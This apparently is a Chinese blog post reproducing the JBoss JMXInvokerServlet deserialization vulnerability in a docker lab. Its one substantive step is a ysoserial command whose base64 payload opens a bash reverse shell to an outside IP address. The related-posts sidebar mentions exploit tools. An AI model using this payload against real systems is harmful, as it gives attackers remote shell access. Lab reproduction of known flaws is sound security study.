JBoss JMXInvokerServlet 反序列化漏洞

最新推荐文章于 2024-03-03 16:30:46 发布
最新推荐文章于 2024-03-03 16:30:46 发布
阅读量71 收藏
点赞数
文章标签： java
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/aa1281047341/article/details/132416121
版权

1 docker 启动环境

 

2 访问首页

 

3 poc

 

4 利用工具ysoserial-all.jar

java -jar ysoserial-all.jar CommonsCollections5 "bash -c

{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNi4xNi4xOTguNDAvOTk5OSAwPiYx}|{base64,-d}|

{bash,-i} " >exp.ser

 

 

 

 

 

 

凌风而虚尘
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
JMX-RMI反序列化中的小研究
xxsiyao的博客
07-14 602
简述 RMI 数据传输基于反序列化，如果服务中实现了 RMI 的调用且具有 Object 类型参数，那么就会造成反序列化（实际攻击中需要反序列化链） JMX 服务是基于 RMI 实现，且将凭证对象作为Object 参数传入，如果使用恶意构造的对象替代凭证传入，是否能攻击需要凭证认证的 JMX 服务了。 针对 JMX 的攻击 YSO 中有一个针对 JMX 的攻击模块，当 JMX 服务器存在反序列化链时，可以对JMX服务进行攻击 java -cp ysoserial.jar ysoserial.expl
Apache James JMX本地反序列化漏洞（CVE-2023-26269）
murphysec的博客
04-04 681
Apache James 是一个基于Java语言开发的邮件服务器软件。 该项目受影响版本存在权限提升漏洞，由于Apache James 3.7.3及之前版本默认提供无需身份验证的 JMX 管理服务且使用LOG4J MBeans接口等导致存在反序列化漏洞。具备本地用户权限的攻击者可通过Log4j MBeans接口或CommonsBeanutils1链触发反序列化造成任意命令执行，由于JMX 管理服务仅在本地主机开放，漏洞在大部分场景中只能用于本地权限提升。
vulhub中JBoss JMXInvokerServlet 反序列化漏洞复现
最新发布
yougexiaojiuguan的博客
03-03 211
漏洞复现的记录
JBoss JMXInvokerServlet 反序列化漏洞 CVE-2015-7501 已亲自复现
qq_42430287的博客
12-23 1488
如果payload请求成功，在响应头中返回的状态码为200，在响应体中抛出 org.jboss.invocation.InvocationException异常信息，则需要结合网络日志和流量日志进行分析。如果返回其他状态码，则攻击失败。
JBoss HttpAdaptor JMXInvokerServlet漏洞利用
a1b2c3是弱口令
11-22 3251
项目地址 https://github.com/joaomatosf/jexboss 项目简介 jexboss是一个使用Python编写的Jboss漏洞检测利用工具，通过它可以检测并利用web-console，jmx-console，JMXInvokerServlet这三个漏洞，并且可以获得一个shell。 使用方法 git clone https://github.com/joaomatos...
jboss反序列化漏洞检测工具
02-15
jboss中间件的反序列化漏洞检测工具，可检测主机搭建的中间件并获得shell
Java反序列化漏洞利用工具.zip
04-10
标题"Java反序列化漏洞利用工具.zip"表明该压缩包内包含了针对Java反序列化漏洞的利用工具，特别提到了针对JBOSS和WebLogic两个流行的Java应用服务器。JBOSS和WebLogic都是企业级的应用服务器，广泛用于部署各种业务...
java反序列化漏洞利用工具Jboss&WebLogic;.rar
07-23
jboss利用里添加一键getshell功能，利用的是jboss的热部署功能，直接部署一个war包，一键返回一个菜刀shell 3. 反弹shell部分更完美，不再加载远程war包，直接发包完成反弹。 4. jboss回显执行命令部分利用异常抛出...
JBossMQJMS 反序列化漏洞（CVE-2017-7504）漏洞利用工具
07-23
JBossMQJMS 反序列化漏洞（CVE-2017-7504）是针对企业级Java消息服务（JMS）提供商JBossMQ的一个严重安全问题。该漏洞源于应用程序未能正确处理反序列化的对象，使得攻击者可以通过精心构造的恶意输入触发任意代码...
Java反序列化漏洞利用工具（WebLogic&Jboss）
01-01
2. jboss利用里添加一键getshell功能，利用的是jboss的热部署功能，直接部署一个war包，一键返回一个菜刀shell 3. 反弹shell部分更完美，不再加载远程war包，直接发包完成反弹。 4. jboss回显执行命令部分利用异常抛...
JBOSS /invoker/JMXInvokerServlet 利用工具 .
weixin_34104341的博客
10-19 1131
链接: http://pan.baidu.com/s/1F8bMI 密码: 1h2r 工具使用说明 1. 查看系统名称 java -jar jboss_exploit_fat.jar -i http://192.168.0.88:10081/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName 2. 查看系统版本 jav...
JBOSS /invoker/JMXInvokerServlet 利用工具
笨笨笨小猪的博客
12-08 7224
链接: http://pan.baidu.com/s/1F8bMI 密码: 1h2r 工具使用说明 1. 查看系统名称 java -jar jboss_exploit_fat.jar -i http://192.168.0.88:10081/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName 2
反序列化漏洞
weixin_43271438的博客
10-08 2795
Weblogic反序列化漏洞 Java 提供了一种对象序列化的机制，该机制中，一个对象可以被表示为一个字节序列，该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。 将序列化对象写入文件之后，可以从文件中读取出来，并且对它进行反序列化，也就是说，对象的类型信息、对象的数据，还有对象中的数据类型可以用来在内存中新建对象。 整个过程都是 Java 虚拟机（JVM）独立的，也就是说...
Lib之过？Java反序列化漏洞通用利用分析
weixin_34259159的博客
11-14 449
2019独角兽企业重金招聘Python工程师标准>>> ...
disable jboss JMXInvokerServlet
mmoooodd的专栏
05-23 3066
jboss 默认有几个控制台，都是可能存在漏洞被黑客利用，除了web console 、jmx console。 还有JMXInvokerServlet，访问路径是ip/invoker/JMXInvokerServlet 。 一开始以为删除对应的deploy文件夹（/deploy/http-invoker.sar/）就可以，但是重启发现有一些异常堆栈，大概意思是找不到类，都是action相关的。
【技术分享】JAVA反序列化安全实例解析
weixin_34292402的博客
10-31 273
2019独角兽企业重金招聘Python工程师标准>>> ...
利用Vulnhub复现漏洞 - JBoss JMXInvokerServlet 反序列化漏洞
JiangBuLiu的博客
07-10 3051
JBoss JMXInvokerServlet 反序列化漏洞Vulnhub官方复现教程漏洞原理复现过程启动环境端口设置浏览器设置BurpSuit设置复现漏洞序列化数据生成发送POCEXP Vulnhub官方复现教程 https://vulhub.org/#/environments/jboss/JMXInvokerServlet-deserialization/ 漏洞原理 这是经典的JBoss反序...
JBoss JMXInvokerServlet 反序列化漏洞（CVE-2015-7501和CVE-2017-12149）
来到了学渣的博客
08-29 5163
JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象，然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码。 CVE-2017-12149适用JBoss版本：5.x / 6.x 踩坑提醒:生成的ser文件最好在linux系统操作，windows会出现各种错误，甚至shell反弹不回来。 步骤: 发现漏洞指纹→反弹shell进行编码→用ysoserial把编码好的反弹shell生ser文件→启动监听→用curl或
JBoss服务器 /invoker/JMXInvokerServlet/ 接口对外开放
Mark
12-26 4083
JBoss服务器的/invoker/JMXInvokerServlet/接口对外开放，hacker通过此接口进行远程部署WebShell，可进一步对服务器进行控制。 文件上传导致任意代码执行 http://www.wooyun.org/bugs/wooyun-2010-031621
jboss反序列化漏洞
08-16
JBoss反序列化漏洞是指JBoss应用服务器中存在的一种安全漏洞，具体表现为Java反序列化错误类型。该漏洞存在于JBoss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值